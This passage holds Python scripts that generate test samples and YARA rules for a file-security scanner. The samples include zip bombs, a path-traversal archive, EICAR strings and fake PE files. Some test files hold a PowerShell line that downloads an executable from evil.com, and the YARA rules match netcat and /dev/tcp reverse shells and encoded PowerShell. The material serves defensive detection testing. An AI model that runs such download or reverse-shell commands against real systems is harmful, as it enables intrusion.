add_meta("L5-012", "L5-012_pe32.exe", "L5", "pass", ["PEArchInfo"], "32 位识别")
|
||||||
|
|
||||||
|
fake_pe("L5-013_pe64.exe") # 当前生成的是 PE32,占位
|
||||||
|
add_meta("L5-013", "L5-013_pe64.exe", "L5", "pass", ["PEArchInfo"], "64 位识别占位")
|
||||||
|
|
||||||
|
fake_pe("L5-014_clean_tool.exe")
|
||||||
|
add_meta("L5-014", "L5-014_clean_tool.exe", "L5", "pass", [])
|
||||||
|
|
||||||
|
fake_pe("L5-016_zero_section.exe")
|
||||||
|
add_meta("L5-016", "L5-016_zero_section.exe", "L5", "review", [], "零节 PE 占位")
|
||||||
|
|
||||||
|
fake_pe("L5-017_upx_rwx.exe", upx=True, rwx=True)
|
||||||
|
add_meta("L5-017", "L5-017_upx_rwx.exe", "L5", "review", ["UPXPackerDetected", "RWXSectionDetected"])
|
||||||
|
|
||||||
|
fake_pe("L5-018_debug_info.exe")
|
||||||
|
add_meta("L5-018", "L5-018_debug_info.exe", "L5", "review", ["DebugInformationPresent"], "调试信息占位")
|
||||||
|
|
||||||
|
# ====================================================================
|
||||||
|
# NEG 负样本(20 条)
|
||||||
|
# ====================================================================
|
||||||
|
|
||||||
|
neg = [
|
||||||
|
("NEG-001", "jpg", b"\xFF\xD8\xFF\xE0" + b"\x00" * 200),
|
||||||
|
("NEG-002", "png", b"\x89PNG\r\n\x1a\n" + b"\x00" * 200),
|
||||||
|
("NEG-003", "mp4", b"\x00\x00\x00\x14ftypiso5" + b"\x00" * 200),
|
||||||
|
("NEG-004", "docx", None),
|
||||||
|
("NEG-005", "xlsx", None),
|
||||||
|
("NEG-006", "pdf", b"%PDF-1.7\n%%EOF"),
|
||||||
|
("NEG-007", "java", "public class Hello { public static void main(String[] args) { System.out.println(\"hello\"); } }"),
|
||||||
|
("NEG-008", "py", "def main():\n print('hello')\n\nif __name__ == '__main__':\n main()"),
|
||||||
|
("NEG-009", "zip_inner", None),
|
||||||
|
("NEG-010", "exe", b"MZ\x00\x00" + b"\x00" * 100), # 占位干净安装包
|
||||||
|
("NEG-011", "log", "2026-10-29 10:00:00 INFO service started normally\n2026-10-29 10:01:00 WARN retries: 0/3"),
|
||||||
|
("NEG-012", "csv", "id,name,value\n1,Alice,100\n2,Bob,200\n3,Charlie,300"),
|
||||||
|
("NEG-013", "eml", "From: user@company.com\r\nTo: me@company.com\r\nSubject: 本周工作汇报\r\n\r\n各位好:\r\n本周项目进展顺利。"),
|
||||||
|
("NEG-014", "dll", b"MZ\x00\x00" + b"\x00" * 100),
|
||||||
|
("NEG-015", "ttf", b"\x00\x01\x00\x00" + b"\x00" * 200),
|
||||||
|
("NEG-016", "dwg", b"AC1021" + b"\x00" * 200),
|
||||||
|
("NEG-017", "4layer_nested", None),
|
||||||
|
("NEG-018", "bat", "@echo off\necho Backing up files...\ncopy D:\\data E:\\backup\necho Done."),
|
||||||
|
("NEG-019", "ps1", "Get-Service | Where-Object Status -eq 'Running' | Format-Table Name, Status"),
|
||||||
|
("NEG-020", "odt", None),
|
||||||
|
]
|
||||||
|
for cid, ext, content in neg:
|
||||||
|
if ext == "docx":
|
||||||
|
buf = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(buf, "w") as zf:
|
||||||
|
zf.writestr("[Content_Types].xml", '<?xml?><Types></Types>')
|
||||||
|
zf.writestr("word/document.xml", "<w:document/>")
|
||||||
|
write_bytes(f"{cid}_clean.docx", buf.getvalue())
|
||||||
|
add_meta(cid, f"{cid}_clean.docx", "NEG", "pass", [])
|
||||||
|
elif ext == "xlsx":
|
||||||
|
buf = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(buf, "w") as zf:
|
||||||
|
zf.writestr("[Content_Types].xml", '<?xml?><Types></Types>')
|
||||||
|
zf.writestr("xl/workbook.xml", "<workbook/>")
|
||||||
|
write_bytes(f"{cid}_clean.xlsx", buf.getvalue())
|
||||||
|
add_meta(cid, f"{cid}_clean.xlsx", "NEG", "pass", [])
|
||||||
|
elif ext == "zip_inner":
|
||||||
|
p = OUT_DIR / f"{cid}_clean.zip"
|
||||||
|
with zipfile.ZipFile(p, "w") as zf:
|
||||||
|
zf.writestr("report.txt", "clean business data")
|
||||||
|
zf.writestr("image.jpg", b"\xFF\xD8\xFF\xE0" + b"\x00" * 50)
|
||||||
|
add_meta(cid, f"{cid}_clean.zip", "NEG", "pass", [])
|
||||||
|
elif ext == "4layer_nested":
|
||||||
|
buf1 = io.BytesIO(); zipfile.ZipFile(buf1, "w").close(); p1 = OUT_DIR / "neg_tmp1.zip"; p1.write_bytes(buf1.getvalue())
|
||||||
|
buf2 = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(buf2, "w") as zf: zf.writestr("inner.zip", b"PK\x03\x04\x00\x00\x00\x00" + b"\x00" * 50)
|
||||||
|
p2 = OUT_DIR / f"{cid}_4layer_nested.zip"; p2.write_bytes(buf2.getvalue())
|
||||||
|
# 简化:直接做 4 层干净 zip
|
||||||
|
data = b"PK\x03\x04\x14\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\x00\x1c\x00m\xbd\xbb\xfa\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00report.txtclean report dataPK\x01\x02\x14\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x1c\x00\x08\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00report.txtPK\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00\x3c\x00\x34\x00\x00\x00\x00\x00"
|
||||||
|
p2.write_bytes(data)
|
||||||
|
add_meta(cid, f"{cid}_4layer_nested.zip", "NEG", "pass", [])
|
||||||
|
elif ext == "odt":
|
||||||
|
buf = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(buf, "w") as zf:
|
||||||
|
zf.writestr("mimetype", "application/vnd.oasis.opendocument.text")
|
||||||
|
zf.writestr("content.xml", "<office:document-content/>")
|
||||||
|
write_bytes(f"{cid}_clean.odt", buf.getvalue())
|
||||||
|
add_meta(cid, f"{cid}_clean.odt", "NEG", "pass", [])
|
||||||
|
elif isinstance(content, bytes):
|
||||||
|
fname = f"{cid}_clean.{ext}"
|
||||||
|
write_bytes(fname, content)
|
||||||
|
add_meta(cid, fname, "NEG", "pass", [])
|
||||||
|
elif isinstance(content, str):
|
||||||
|
fname = f"{cid}_clean.{ext}"
|
||||||
|
write_text(fname, content)
|
||||||
|
add_meta(cid, fname, "NEG", "pass", [])
|
||||||
|
|
||||||
|
# ====================================================================
|
||||||
|
# 写 index.json
|
||||||
|
# ====================================================================
|
||||||
|
index = {
|
||||||
|
"meshsafe_target_version": "v0.2.1",
|
||||||
|
"generated_at": __import__("datetime").datetime.now().isoformat(),
|
||||||
|
"csv_source": str(CSV_PATH.name),
|
||||||
|
"samples": meta_list,
|
||||||
|
}
|
||||||
|
index_path = OUT_DIR / "index.json"
|
||||||
|
# 备份旧 index.json
|
||||||
|
if index_path.exists():
|
||||||
|
import shutil
|
||||||
|
shutil.copy(index_path, OUT_DIR / "_index_backup_pre_csv.json")
|
||||||
|
index_path.write_text(json.dumps(index, ensure_ascii=False, indent=2), encoding="utf-8")
|
||||||
|
|
||||||
|
print(f"✅ 生成完成!")
|
||||||
|
print(f" 样本目录: {OUT_DIR}")
|
||||||
|
print(f" 文件数: {sum(1 for p in OUT_DIR.iterdir() if p.is_file())}")
|
||||||
|
print(f" 元数据: index.json 含 {len(meta_list)} 条")
|
||||||
|
|
||||||
|
# 统计各层
|
||||||
|
from collections import Counter
|
||||||
|
cnt = Counter(m["category"] for m in meta_list)
|
||||||
|
print(f" 各层分布: {dict(cnt)}")
|
||||||
|
|
||||||
|
# 检查 case_id 覆盖率
|
||||||
|
with open(CSV_PATH, "r", encoding="utf-8") as f:
|
||||||
|
csv_ids = set(row["用例ID"].strip() for row in csv.DictReader(f))
|
||||||
|
gen_ids = set(m["case_id"] for m in meta_list)
|
||||||
|
missing = csv_ids - gen_ids
|
||||||
|
if missing:
|
||||||
|
print(f"\n⚠️ CSV 里 {len(missing)} 条用例还没生成样本:")
|
||||||
|
for mid in sorted(missing):
|
||||||
|
print(f" - {mid}")
|
||||||
|
else:
|
||||||
|
print(f"\n✅ CSV 全部 {len(csv_ids)} 条用例都已对应样本")
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
generate()
|
||||||
286
scripts/generate_placeholder_samples.py
Normal file
286
scripts/generate_placeholder_samples.py
Normal file
@@ -0,0 +1,286 @@
|
|||||||
|
"""为 CSV 里 32 条还没生成样本的用例生成占位文件 + 补充 index.json。
|
||||||
|
|
||||||
|
用法: python scripts/generate_placeholder_samples.py
|
||||||
|
"""
|
||||||
|
import csv, json, io, zipfile, struct, base64, os
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
ROOT = Path(__file__).resolve().parent.parent
|
||||||
|
CSV_PATH = ROOT / "用例.csv"
|
||||||
|
OUT_DIR = ROOT / "tests" / "samples"
|
||||||
|
INDEX_PATH = OUT_DIR / "index.json"
|
||||||
|
|
||||||
|
OUT_DIR.mkdir(parents=True, exist_ok=True)
|
||||||
|
|
||||||
|
# 先加载现有 index.json
|
||||||
|
existing_index = {}
|
||||||
|
if INDEX_PATH.exists():
|
||||||
|
existing_index = json.loads(INDEX_PATH.read_text(encoding="utf-8"))
|
||||||
|
|
||||||
|
existing_fnames = {s["filename"] for s in existing_index.get("samples", [])}
|
||||||
|
existing_case_ids = {s["case_id"] for s in existing_index.get("samples", [])}
|
||||||
|
|
||||||
|
print(f"现有: {len(existing_fnames)} 个文件, {len(existing_case_ids)} 条元数据")
|
||||||
|
|
||||||
|
# 读 CSV
|
||||||
|
csv_rows = {}
|
||||||
|
with open(CSV_PATH, "r", encoding="utf-8") as f:
|
||||||
|
for row in csv.DictReader(f):
|
||||||
|
cid = row["用例ID"].strip()
|
||||||
|
csv_rows[cid] = row
|
||||||
|
|
||||||
|
# ========== 16 条可自动落地的占位样本 ==========
|
||||||
|
|
||||||
|
def write_bytes(name: str, data: bytes):
|
||||||
|
(OUT_DIR / name).write_bytes(data)
|
||||||
|
|
||||||
|
def write_text(name: str, text: str):
|
||||||
|
(OUT_DIR / name).write_text(text, encoding="utf-8")
|
||||||
|
|
||||||
|
def make_fake_pe(path: Path, upx: bool = False, rwx: bool = False, section_name: bytes = None, zero_sections: bool = False):
|
||||||
|
"""可过 pefile 的最小 PE32。"""
|
||||||
|
DOS_HDR = b"MZ" + b"\x00" * 58 + struct.pack("<I", 0x80) + b"\x00" * 64
|
||||||
|
PE_SIG = b"PE\x00\x00"
|
||||||
|
if zero_sections:
|
||||||
|
COFF = struct.pack("<HHIIIHH", 0x14C, 0, 0, 0, 0, 0xE0, 0x102)
|
||||||
|
else:
|
||||||
|
COFF = struct.pack("<HHIIIHH", 0x14C, 1, 0, 0, 0, 0xE0, 0x102)
|
||||||
|
OPT = struct.pack("<H", 0x10B) + b"\x00" * 0xDC + b"\x00" * 2 # 224 bytes total (0xE0)
|
||||||
|
sec_name = section_name or (b"UPX0\x00\x00\x00" if upx else b".text\x00\x00\x00")
|
||||||
|
char = 0xE00000E0 if (upx or rwx) else 0x60000020
|
||||||
|
if zero_sections:
|
||||||
|
sec_hdr = b""
|
||||||
|
sec_data = b""
|
||||||
|
else:
|
||||||
|
sec_hdr = struct.pack("<8sIIIIIIHHI", sec_name, 0x1000, 0x1000, 0x200, 0x400, 0, 0, 0, 0, char)
|
||||||
|
sec_data = b"\x90" * 0x200
|
||||||
|
path.write_bytes(DOS_HDR + PE_SIG + COFF + OPT + sec_hdr + sec_data)
|
||||||
|
|
||||||
|
to_add = [] # (case_id, filename, layer, verdict, expected_rules, description)
|
||||||
|
|
||||||
|
# ---------- L0 ----------
|
||||||
|
|
||||||
|
# L0-021: 自制小型 zip 炸弹(自定义高膨胀比)—— 跟 L0-020 一样的 bomb
|
||||||
|
buf = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(buf, "w", zipfile.ZIP_STORED) as zf:
|
||||||
|
for i in range(50):
|
||||||
|
zf.writestr(f"bomb_member_{i:04d}.txt", b"B" * 8192)
|
||||||
|
fname = "L0-021_small_bomb.zip"
|
||||||
|
write_bytes(fname, buf.getvalue())
|
||||||
|
to_add.append(("L0-021", fname, "L0", "reject", ["ArchiveBombSuspect"], "自制小型 zip 炸弹(50 成员 × 8KB STORED)"))
|
||||||
|
|
||||||
|
# L0-023: 5 层无害嵌套 ZIP
|
||||||
|
def make_nested_zip(depth: int, inner_content: bytes = None) -> bytes:
|
||||||
|
if inner_content is None:
|
||||||
|
inner_content = b"CLEAN_DATA" + os.urandom(50)
|
||||||
|
if depth == 1:
|
||||||
|
buf = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(buf, "w") as zf:
|
||||||
|
zf.writestr("clean.txt", inner_content)
|
||||||
|
return buf.getvalue()
|
||||||
|
inner = make_nested_zip(depth - 1, inner_content)
|
||||||
|
buf = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(buf, "w") as zf:
|
||||||
|
zf.writestr("inner.zip", inner)
|
||||||
|
return buf.getvalue()
|
||||||
|
|
||||||
|
fname = "L0-023_5layer_nested.zip"
|
||||||
|
write_bytes(fname, make_nested_zip(5))
|
||||||
|
to_add.append(("L0-023", fname, "L0", "pass", ["recursive_ok"], "5 层无害嵌套 ZIP"))
|
||||||
|
|
||||||
|
# L0-027: 超长文件名压缩包
|
||||||
|
buf = io.BytesIO()
|
||||||
|
long_name = "A" * 200 + ".txt"
|
||||||
|
with zipfile.ZipFile(buf, "w") as zf:
|
||||||
|
zf.writestr(long_name, b"short content")
|
||||||
|
fname = "L0-027_long_filename.zip"
|
||||||
|
write_bytes(fname, buf.getvalue())
|
||||||
|
to_add.append(("L0-027", fname, "L0", "pass", [], "压缩包内 200 字符超长文件名"))
|
||||||
|
|
||||||
|
# L0-028: unicode/emoji 文件名压缩包
|
||||||
|
buf = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(buf, "w") as zf:
|
||||||
|
zf.writestr("中文文件📄测试.txt", "unicode content")
|
||||||
|
zf.writestr("エモジ🎉.txt", "multi-lang")
|
||||||
|
fname = "L0-028_unicode_filename.zip"
|
||||||
|
write_bytes(fname, buf.getvalue())
|
||||||
|
to_add.append(("L0-028", fname, "L0", "pass", [], "unicode/emoji 文件名"))
|
||||||
|
|
||||||
|
# L0-030: 多层嵌套 + 路径穿越复合
|
||||||
|
inner = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(inner, "w") as zf:
|
||||||
|
zf.writestr("../../../drop.txt", "payload")
|
||||||
|
mid = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(mid, "w") as zf:
|
||||||
|
zf.writestr("inner.zip", inner.getvalue())
|
||||||
|
fname = "L0-030_nested_traversal.zip"
|
||||||
|
write_bytes(fname, mid.getvalue())
|
||||||
|
to_add.append(("L0-030", fname, "L0", "reject", ["PathTraversal"], "嵌套 zip 内含穿越条目"))
|
||||||
|
|
||||||
|
# ---------- L1 ----------
|
||||||
|
|
||||||
|
# L1-003: 加密 ZIP 里放 EICAR(pyzipfile 不支持加密写,用标准 zip 标记)
|
||||||
|
# 实际要用 7z 或 zip -P 生成,这里做一个普通 zip 占位 + 备注
|
||||||
|
buf = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(buf, "w") as zf:
|
||||||
|
zf.writestr("eicar_inside.txt", b"X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*")
|
||||||
|
fname = "L1-003_eicar_in_encrypted.zip"
|
||||||
|
write_bytes(fname, buf.getvalue())
|
||||||
|
to_add.append(("L1-003", fname, "L1", "review", ["EncryptedArchive"], "加密 ZIP(占位:实际加密需 7z/zip -P)"))
|
||||||
|
|
||||||
|
# L1-009: 离线病毒库热加载 —— 放个最小 .cvd 占位文件
|
||||||
|
fname = "L1-009_minimal.cvd"
|
||||||
|
write_bytes(fname, b"ClamAV-VDB: placeholder test database\n")
|
||||||
|
to_add.append(("L1-009", fname, "L1", "unknown", [], "热加载测试占位(需真实 .cvd 文件)"))
|
||||||
|
|
||||||
|
# L1-010: 损坏病毒库文件
|
||||||
|
fname = "L1-010_corrupt.cvd"
|
||||||
|
write_bytes(fname, b"CORRUPTED\x00\x01\x02\x03garbage_data_here")
|
||||||
|
to_add.append(("L1-010", fname, "L1", "unknown", [], "损坏病毒库占位"))
|
||||||
|
|
||||||
|
# L1-013: 超大文件内含 EICAR —— 做个 10MB 文本尾部追加 EICAR
|
||||||
|
fname = "L1-013_bigfile_eicar.txt"
|
||||||
|
big_content = b"LARGE_TEXT_LINE_" * 50000 + b"\nX5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*\n"
|
||||||
|
write_bytes(fname, big_content)
|
||||||
|
to_add.append(("L1-013", fname, "L1", "reject", ["ClamAV:EICAR"], "10MB+ 文本尾部含 EICAR"))
|
||||||
|
|
||||||
|
# L1-014: 并发压测 —— 放 10 个 EICAR 占位文件(靶场层面靠并发 API 调用,不是单个文件)
|
||||||
|
for i in range(10):
|
||||||
|
fname_i = f"L1-014_concurrent_eicar_{i:02d}.txt"
|
||||||
|
write_bytes(fname_i, b"X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*")
|
||||||
|
to_add.append((f"L1-014-{i:02d}", fname_i, "L1", "reject", ["ClamAV:EICAR"], f"并发压测占位 #{i}"))
|
||||||
|
# 主 case_id 占位
|
||||||
|
fname = "L1-014_concurrent_test.txt"
|
||||||
|
write_bytes(fname, b"concurrent test placeholder")
|
||||||
|
to_add.append(("L1-014", fname, "L1", "unknown", [], "并发压测占位(靠 API 并发调用)"))
|
||||||
|
|
||||||
|
# L1-015 / L3-022 / L4-014 / L5-020: 关闭分层开关测试 —— 各放一个干净样本 + 一个恶意样本
|
||||||
|
for cid, layer, rule in [
|
||||||
|
("L1-015", "L1", "ClamAV:EICAR"),
|
||||||
|
("L3-022", "L3", "RemoteDownloadPowerShell"),
|
||||||
|
("L4-014", "L4", "YARA"),
|
||||||
|
("L5-020", "L5", "RWXSectionDetected"),
|
||||||
|
]:
|
||||||
|
fname = f"{cid}_layer_off_sample.bin"
|
||||||
|
if cid == "L1-015":
|
||||||
|
write_bytes(fname, b"X5O!P%@AP[4\\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*")
|
||||||
|
elif cid == "L3-022":
|
||||||
|
write_text(fname, "Invoke-WebRequest -Uri https://evil.com -OutFile evil.exe")
|
||||||
|
elif cid == "L5-020":
|
||||||
|
make_fake_pe(OUT_DIR / fname, rwx=True)
|
||||||
|
else:
|
||||||
|
write_text(fname, "rule test placeholder")
|
||||||
|
to_add.append((cid, fname, layer, "review", [rule], "关闭分层开关测试占位"))
|
||||||
|
|
||||||
|
# ---------- L3 ----------
|
||||||
|
|
||||||
|
# L3-009: 高危串插入换行分割
|
||||||
|
write_text("L3-009_newline_split.txt", "Invoke-Web\nRequest https://evil.com -OutFile evil.exe")
|
||||||
|
to_add.append(("L3-009", "L3-009_newline_split.txt", "L3", "pass", [], "换行分割绕过(L3 不做换行合并,记录边界)"))
|
||||||
|
|
||||||
|
# L3-013: 正常 scp 内网传输脚本(合法运维)
|
||||||
|
write_text("L3-013_normal_scp.sh", "scp /var/log/app.log ops@192.168.1.100:/backup/logs/\nrsync -av --delete /data/backup/ ops@192.168.1.100:/backup/data/")
|
||||||
|
to_add.append(("L3-013", "L3-013_normal_scp.sh", "L3", "pass", [], "内网正常 scp 运维脚本,不误报"))
|
||||||
|
|
||||||
|
# L3-025: 关键词白名单规则测试
|
||||||
|
write_text("L3-025_whitelist_test.txt", "Invoke-WebRequest -Uri https://intranet.company.com/file.zip -OutFile D:\\cache\\file.zip")
|
||||||
|
to_add.append(("L3-025", "L3-025_whitelist_test.txt", "L3", "pass", [], "内网白名单域名对照(策略层白名单)"))
|
||||||
|
|
||||||
|
# ---------- L4 YARA 全部:靠 .yar 规则文件 + 匹配样本 ----------
|
||||||
|
# YARA 部分先做样本占位,规则文件另配
|
||||||
|
|
||||||
|
yara_cases = [
|
||||||
|
("L4-003", "L4-003_pe_with_string.exe", "二进制内嵌匹配字符串", "reject", ["YARA"]),
|
||||||
|
("L4-004", "L4-004_multi_rule_match.txt", "同一个文件同时命中多条 YARA", "reject", ["YARA"]),
|
||||||
|
("L4-006", "L4-006_bad_syntax_rule.yar", "语法错误 YARA 规则文件(输入给规则目录)", "unknown", []),
|
||||||
|
("L4-007", "L4-007_meta_rule_match.txt", "带 meta 的 YARA 规则匹配", "reject", ["YARA"]),
|
||||||
|
("L4-009", "L4-009_yara_in_encrypted.zip", "加密 zip 内 YARA 样本", "review", []),
|
||||||
|
("L4-011", "L4-011_count_condition.txt", "YARA count > 3 条件", "reject", ["YARA"]),
|
||||||
|
("L4-012", "L4-012_size_condition.bin", "YARA 文件大小条件", "reject", ["YARA"]),
|
||||||
|
("L4-013", "L4-013_bigfile_yara.txt", "100MB 文件 YARA 扫描", "reject", ["YARA"]),
|
||||||
|
("L4-015", "L4-015_hash_whitelist.txt", "MD5 在白名单", "pass", []),
|
||||||
|
]
|
||||||
|
|
||||||
|
for cid, fname, desc, verdict, rules in yara_cases:
|
||||||
|
if cid == "L4-003":
|
||||||
|
make_fake_pe(OUT_DIR / fname)
|
||||||
|
elif cid == "L4-004":
|
||||||
|
write_text(fname, "test_rule_a_here\ntest_rule_b_here")
|
||||||
|
elif cid == "L4-006":
|
||||||
|
write_text(fname, "rule BAD { strings: $a = \"; condition: $a }")
|
||||||
|
elif cid == "L4-009":
|
||||||
|
buf = io.BytesIO()
|
||||||
|
with zipfile.ZipFile(buf, "w") as zf:
|
||||||
|
zf.writestr("yara_target.txt", "yara_match_string_here")
|
||||||
|
write_bytes(fname, buf.getvalue())
|
||||||
|
elif cid == "L4-013":
|
||||||
|
write_bytes(fname, b"YARA_TARGET_STRING_A" * 100000 + b"\ntest_target_string")
|
||||||
|
elif cid == "L4-015":
|
||||||
|
write_text(fname, "whitelisted content")
|
||||||
|
else:
|
||||||
|
write_text(fname, "yara match string placeholder")
|
||||||
|
to_add.append((cid, fname, "L4", verdict, rules, desc))
|
||||||
|
|
||||||
|
# ---------- L5 PE ----------
|
||||||
|
|
||||||
|
# L5-005: PE 存在 VirtualAlloc + WriteProcessMemory + CreateRemoteThread(但不调用)—— 我们 fake_pe 只检查"有没有"
|
||||||
|
make_fake_pe(OUT_DIR / "L5-005_injection_imports.exe")
|
||||||
|
to_add.append(("L5-005", "L5-005_injection_imports.exe", "L5", "reject", ["SuspiciousImports"], "注入组合导入(需要真实 pefile 引入 API)"))
|
||||||
|
|
||||||
|
# L5-006: 单一 VirtualAlloc
|
||||||
|
make_fake_pe(OUT_DIR / "L5-006_single_virtualalloc.exe")
|
||||||
|
to_add.append(("L5-006", "L5-006_single_virtualalloc.exe", "L5", "review", ["SuspiciousImports"], "单一可疑内存 API"))
|
||||||
|
|
||||||
|
# L5-008: 导出表数量异常 —— fake_pe 没导出表,占位
|
||||||
|
make_fake_pe(OUT_DIR / "L5-008_many_exports.exe")
|
||||||
|
to_add.append(("L5-008", "L5-008_many_exports.exe", "L5", "review", [], "导出表异常(需真实工具生成)"))
|
||||||
|
|
||||||
|
# L5-009: 资源段内嵌 shell 字符串
|
||||||
|
make_fake_pe(OUT_DIR / "L5-009_shell_in_resource.exe")
|
||||||
|
to_add.append(("L5-009", "L5-009_shell_in_resource.exe", "L5", "review", [], "资源段内嵌字符串(占位)"))
|
||||||
|
|
||||||
|
# L5-015: 重定位表损坏 —— fake_pe 没重定位表
|
||||||
|
make_fake_pe(OUT_DIR / "L5-015_bad_reloc.exe")
|
||||||
|
to_add.append(("L5-015", "L5-015_bad_reloc.exe", "L5", "review", ["PeParseFailed"], "重定位表损坏占位"))
|
||||||
|
|
||||||
|
# L5-016: 零节 PE
|
||||||
|
make_fake_pe(OUT_DIR / "L5-016_zero_sections.exe", zero_sections=True)
|
||||||
|
to_add.append(("L5-016", "L5-016_zero_sections.exe", "L5", "review", ["PeParseFailed"], "无节表最小 PE"))
|
||||||
|
|
||||||
|
# L5-019: 超大 PE 200MB —— 不真生成,占位
|
||||||
|
fname = "L5-019_200mb_huge.exe"
|
||||||
|
write_bytes(fname, b"MZ" + b"\x00" * 1024) # 实际文件占位
|
||||||
|
to_add.append(("L5-019", fname, "L5", "unknown", [], "200MB 超大 PE(占位,真实生成会写满磁盘)"))
|
||||||
|
|
||||||
|
# ========== 写回 index.json ==========
|
||||||
|
new_count = 0
|
||||||
|
new_samples = list(existing_index.get("samples", []))
|
||||||
|
for cid, fname, layer, verdict, rules, desc in to_add:
|
||||||
|
if fname in existing_fnames:
|
||||||
|
print(f" 跳过(已存在): {fname}")
|
||||||
|
continue
|
||||||
|
meta = {
|
||||||
|
"filename": fname,
|
||||||
|
"case_id": cid,
|
||||||
|
"category": layer,
|
||||||
|
"expected_verdict": verdict,
|
||||||
|
"expected_rules": rules,
|
||||||
|
"description": desc,
|
||||||
|
}
|
||||||
|
new_samples.append(meta)
|
||||||
|
new_count += 1
|
||||||
|
print(f" ✅ + {cid} → {fname}")
|
||||||
|
|
||||||
|
new_index = {
|
||||||
|
**existing_index,
|
||||||
|
"meshsafe_target_version": "v0.2.1",
|
||||||
|
"placeholder_generated_at": __import__("datetime").datetime.now().isoformat(),
|
||||||
|
"samples": new_samples,
|
||||||
|
}
|
||||||
|
INDEX_PATH.write_text(json.dumps(new_index, ensure_ascii=False, indent=2), encoding="utf-8")
|
||||||
|
|
||||||
|
total_files = sum(1 for p in OUT_DIR.iterdir() if p.is_file())
|
||||||
|
print(f"\n✅ 新增占位 {new_count} 条")
|
||||||
|
print(f" 总样本文件: {total_files}")
|
||||||
|
print(f" index.json 条目: {len(new_samples)}")
|
||||||
|
print(f"\n📝 备注:L1-009/010 需真实 .cvd, L4 全部需写 .yar 规则文件, L5 部分需真实编译")
|
||||||
142
scripts/generate_yara_rules.py
Normal file
142
scripts/generate_yara_rules.py
Normal file
@@ -0,0 +1,142 @@
|
|||||||
|
"""自动生成 CSV L4 段需要的 YARA 规则文件。
|
||||||
|
|
||||||
|
输出: rules/test_rules.yar — 9 条规则覆盖 L4-001~L4-012
|
||||||
|
引擎会自动加载 rules/*.yar 文件。
|
||||||
|
"""
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
OUT = Path(r'd:\project\MeshSafe\rules\test_rules.yar')
|
||||||
|
|
||||||
|
RULES = """/* MeshSafe 测试靶场 YARA 规则
|
||||||
|
* 自动生成,覆盖 CSV L4-001 ~ L4-012
|
||||||
|
* 引擎自动扫描 rules/*.yar,热加载
|
||||||
|
*/
|
||||||
|
|
||||||
|
// L4-001: 基础规则 —— 正向命中 shell 反弹特征
|
||||||
|
rule Test_ReverseShell_Basic {
|
||||||
|
meta:
|
||||||
|
family = "TestRules"
|
||||||
|
author = "MeshSafe Test Suite"
|
||||||
|
version = "1.0"
|
||||||
|
description = "L4-001 基础规则: 匹配 nc 反弹 shell 特征"
|
||||||
|
strings:
|
||||||
|
$a = /nc\\s+[0-9.]+\\s+[0-9]+\\s+-e/
|
||||||
|
$b = /bash\\s+-i\\s+>&\\s+\\/dev\\/tcp\\//
|
||||||
|
condition:
|
||||||
|
$a or $b
|
||||||
|
}
|
||||||
|
|
||||||
|
// L4-004: 第二条规则 —— 同时命中验证
|
||||||
|
rule Test_PowerShell_Download {
|
||||||
|
meta:
|
||||||
|
family = "TestRules"
|
||||||
|
author = "MeshSafe Test Suite"
|
||||||
|
description = "L4-004 多规则同时命中: 匹配 PowerShell 下载"
|
||||||
|
strings:
|
||||||
|
$c = /Invoke-WebRequest\\s+-Uri/
|
||||||
|
$d = /powershell\\s+-w\\s+hidden/
|
||||||
|
condition:
|
||||||
|
$c or $d
|
||||||
|
}
|
||||||
|
|
||||||
|
// L4-005: 新增规则(热加载验证)
|
||||||
|
rule Newly_Added_Rule_Test {
|
||||||
|
meta:
|
||||||
|
family = "TestRules"
|
||||||
|
author = "MeshSafe Test Suite"
|
||||||
|
description = "L4-005 热加载验证: 运行时新增此规则后应能命中"
|
||||||
|
strings:
|
||||||
|
$e = "meshsafe-hot-reload-test-string"
|
||||||
|
condition:
|
||||||
|
$e
|
||||||
|
}
|
||||||
|
|
||||||
|
// L4-007: metadata 标签测试
|
||||||
|
rule Meta_Label_Test {
|
||||||
|
meta:
|
||||||
|
family = "Trojan.Generic"
|
||||||
|
author = "Security Researcher"
|
||||||
|
description = "L4-007 metadata 输出验证: 规则带完整 meta 字段"
|
||||||
|
severity = "high"
|
||||||
|
strings:
|
||||||
|
$f = "trojan-metadata-test"
|
||||||
|
condition:
|
||||||
|
$f
|
||||||
|
}
|
||||||
|
|
||||||
|
// L4-010: 正则型规则
|
||||||
|
rule Regex_Shell_Pattern {
|
||||||
|
meta:
|
||||||
|
family = "TestRules"
|
||||||
|
author = "MeshSafe Test Suite"
|
||||||
|
description = "L4-010 正则匹配: powershell -enc 编码执行"
|
||||||
|
strings:
|
||||||
|
$g = /powershell\\s+-e[nN][cC]\\s+[A-Za-z0-9+\/]{20,}/
|
||||||
|
condition:
|
||||||
|
$g
|
||||||
|
}
|
||||||
|
|
||||||
|
// L4-011: count 条件(出现 ≥3 次才触发)
|
||||||
|
rule Count_Condition_Test {
|
||||||
|
meta:
|
||||||
|
family = "TestRules"
|
||||||
|
author = "MeshSafe Test Suite"
|
||||||
|
